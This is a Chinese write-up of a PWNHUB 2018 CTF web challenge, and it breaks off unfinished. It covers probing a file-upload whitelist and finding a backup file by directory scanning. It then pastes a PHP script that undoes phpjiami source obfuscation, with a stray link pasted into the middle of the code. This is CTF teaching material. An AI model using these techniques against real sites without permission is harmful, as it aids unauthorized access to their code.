[PWNHUB 公开赛公开赛 2018]傻傻 fufu 的工作日的工作日



今天挑一道难一点的，分值89，一题更比89题强，这种题一般都是大佬写的wp，我这种菜鸡就稍微记录详细一点方便自己以后
理解

菜鸡的尝试菜鸡的尝试

打开环境，首先看一眼是一个文件上传界面，开始以为是文件上传题

还是老三样，先传着正常的图片试试看（似乎还不能太大了）,直接压缩到1kb



结果上传成功了，还可以看其路径

可以发现是upload下的文件，且文件名经过一定的变化

上马看看,我们传了一个改好了文件名文件头的伪装图片，出现了如下提示,看来有后缀名检测



经过诸多后缀名绕过，发现这个应该是白名单，基本逻辑是将用户输入的文件名经过一定处理后去替换源文件名，且会检测用户

输入的这个文件名后缀是不是图片格式，否则就会报错，看来传统的方式是不行了，这下需要用到新的方式。

实在想不到办法就先扫描目录看看，发现有备份文件

看到有备份文件,打开发现有加密

这咋还给了个网站，去访问下，估计就是拿这个网站做的加密

这网站还整的挺高级，不过已经一年多没更新了，有加密必然也有解密，这个解密过程就是把代码传到它的服务器上去然后按照

特定的算法发一个完整的包回来，不过这个加密方式早都被一些人分析完了，看这里这里，分析文章很详细了，这个时候百度偶然

看到了这篇文章这篇文章似乎是出题人写的，啊真的是学的太少了，原来这个题这么多种五花八门的做法，我们逐一来看一看。

破解部分正文开始破解部分正文开始

扫描完了之后发现混淆的代码就会进入到破解的步骤，显而易见，这个题难点就在这，破解之后这个题应该就没什么难度了，这

个时候大多数同学采用第一种办法

1、付费破解、付费破解

我也是才知道这种东西还能付费的，但是别人也是要解出来的吧，毕竟也不是钱能解决的问题，但是应急情况下多了一条道路可

以走�，学到了学到了，大概是跟cmd5一样遇到想要的的就要交钱吧，这条就不多说了

2、正儿八经逆向加密算法、正儿八经逆向加密算法

https://blog.csdn.net/zimumanbu/article/details/81660752
https://www.cnblogs.com/sevensky/articles/13632380.html


出题人说了，这个最考验耐心，还真有人做出来了，分析链接见上文那个链接，先说一下php加密分为真加密与伪加密两种，真
加密一般要通过运行PHP ext（一般用C实现）代码来加载PHP文件进行解码，要对这种文件解密，必须自己编译PHP解释器的
源代码，通过Hook PHP解释器的解码函数来截取源代码，比较麻烦一些；而伪加密是通过php内置的eval函数来实现的（一定会
有这一步），其原理是将PHP代码经过这些流程：

源码 -> 加密处理（压缩，替换，BASE64，转义）-> 安全处理（验证文件 MD5 值，限制 IP、限域名、限时间、防破解、防命令行调试）->
加密程序成品，再简单的说：源码 + 加密外壳 == 加密程序。

看这个网站宣传无需任何插件，所以肯定是伪加密了，伪加密就有可能逆向来破解，这个破解脚本已经有人写好了，分析脚本也

写好了，链接在这链接在这，为防止链接失效（原博主博客已经访问不到了），源码还是直接粘在这，呜呜呜太强了

<?php
    include 'File.class.php';

    //By Wfox
    //用法：将需要解密的文件拷进encode目录，执行本文件，解密结果在decode目录

    //内置解密字符串函数
    function de($var1, $var2 = '')
    {
        global $hash, $rand;
        $md5 = md5(pack("H*", $hash));//随机字符串1
        $var2 = !$var2?ord(pack("H*", $rand)):$var2;//随机字符串2

        $str = '';
        for($i=0; $i<strlen($var1); $i++)
        {
            $str .= ord($var1{$i}) < ord(pack("H*",'F5')) ? ((ord($var1{$i}) > $var2 && ord($var1{$i}) < ord(pack("H*",'F5'))) ? chr(ord($var1{$i}) / 2)
 : $var1{$i}) : '';
        }
        $de1 =  base64_decode($str);
        $len = $len2 = strlen($md5);
        $str2 = '';
        for($i=0; $i<strlen($de1); $i++)
        {
            $len = $len ? $len : $len2;
            $len--;
            $str2 .= $de1[$i]  ̂$md5[$len];
        }
        return $str2;
    }
    function decode($filename){
        global $hash, $rand;
        $code = file_get_contents($filename);

        $bin = bin2hex($code);//将源码转成16进制再进行匹配
        preg_match('/6257513127293b24[a-z0-9]{2,30}3d24[a-z0-9]{2,30}2827([a-z0-9]{2,30})27293b/', $bin, $hash);//匹配随机字符串1
        preg_match('/2827([a-z0-9]{2})27293a24/', $bin, $rand);//匹配随机字符串1
        
        if(!isset($hash[1]) && !isset($rand[1]))
        {
            echo "can't match\r\n";
        }
        $hash = $hash[1];
        $rand = $rand[1];
        
        $a = explode('?>', $code);
        $decode = str_rot13(@gzuncompress(de($a[1])) ? @gzuncompress(de($a[1])) : de($a[1]));//核心解密

https://github.com/PikuYoake/phpjiami_decode


        $decode = str_rot13(@gzuncompress(de($a[1])) ? @gzuncompress(de($a[1])) : de($a[1]));//核心解密
        $decode = substr($decode, 2);
        
        $compress = false;
        //phpjiami加密默认压缩代码，解密不会多出乱码。如果代码底部出现多余乱码请设置$compress = true;
         if($compress)
        {
            $decode = substr($decode, 0, strripos($decode, '<?php'));
        }
        if(stripos($decode, 'Encode by  phpjiami.com') !== false)
        {
            $decode = substr($decode, strpos($decode, '?>')+2);
        }
            
        return $decode;
    }

    //批量解密，将需要解密的文件放进encode文件夹
    $op=new fileDirUtil();
 $fileArr = array();
 foreach($op->dirList('./encode') as $f)
 {
  $info = pathinfo($f);
  $dirName = str_replace('encode','decode',$info['dirname']);
  if(!is_dir($dirName))
  {
   mkdir($dirName);
  }
  if(@$info['extension']=='php')
  {
   if(stripos(file_get_contents($f),"PHPJiaMi") !== false)
   {
    $content = decode($f);
    $fileName = str_replace('encode','decode',$f);
    file_put_contents($fileName,$content);
    echo $f.'<br>';
   }
  }
 }
    

?>

因为分析过程已经很详细了，在这里就不多说了（学生党要上课，后面接着更）
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